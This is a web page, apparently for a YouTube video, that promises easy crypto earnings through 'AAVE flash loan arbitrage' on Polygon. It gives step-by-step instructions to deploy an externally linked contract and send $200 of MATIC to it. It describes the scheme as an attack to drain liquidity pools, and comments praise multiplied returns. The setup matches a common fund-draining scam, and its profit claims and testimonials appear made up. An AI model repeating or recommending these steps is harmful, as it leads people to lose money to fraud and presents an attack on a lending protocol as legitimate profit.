Aave - AAVEPolygon - MATIC

Earn crypto with MATIC Polygon using AAVE Flash loan arbitrage !

YouTube video


Smart Contract Code Link – https://raw.githubusercontent.com/MF-Finance/contracts/main/MaticPolygonArbitrageContract.sol

Remix Link – http://remix.ethereum.org/

Connecting MetaMask to Polygon Mainnet (Matic) – https://medium.com/stakingbits/setting-up-metamask-for-polygon-matic-network-838058f6d844

Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

USD to MATIC – https://coincodex.com/convert/matic-network/usd/

TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE

In this video, you can see how I used Flashloans to Arbitrage in Matic Mainnet by deploying Contract/Token to mask our arbitrage attack against AAVE.

*** Working! (Updated on November 11, 2022)

STEPS:

Before starting, install and setup MetaMask in Chrome Browser.

1. Open and setup Remix in browser –https://remix.ethereum.org

2. Copy the Contract code – https://raw.githubusercontent.com/MF-Finance/contracts/main/MaticPolygonArbitrageContract.sol

3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.

4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
* If “Estimated gas fee” shows “Unknown processing time” message, you need to increase the fee:
Click “EDIT” ➡ click “Edit suggested gas fee” ➡ click “High” and click “Save”.

5. Get the Contract address from Remix

6. Send $200 of MATIC to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
* If a warning is displayed, click “I understand”.

7. Call ‘flashloan’ function in Remix.

Thanks for watching! 539191

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14 Comments

  1. first time I try 270 MATIC and worked i got 1848 MATIC, but the second time I have failed not work. contract multiple time?

  2. It just worked! If it doesn't work the first time, increase the amount of the flash loan!

  3. You should not share this, if less people know about this, it can take longer until it get patched

  4. I tried the first time without success, after increasing the value of the flash loan it worked!

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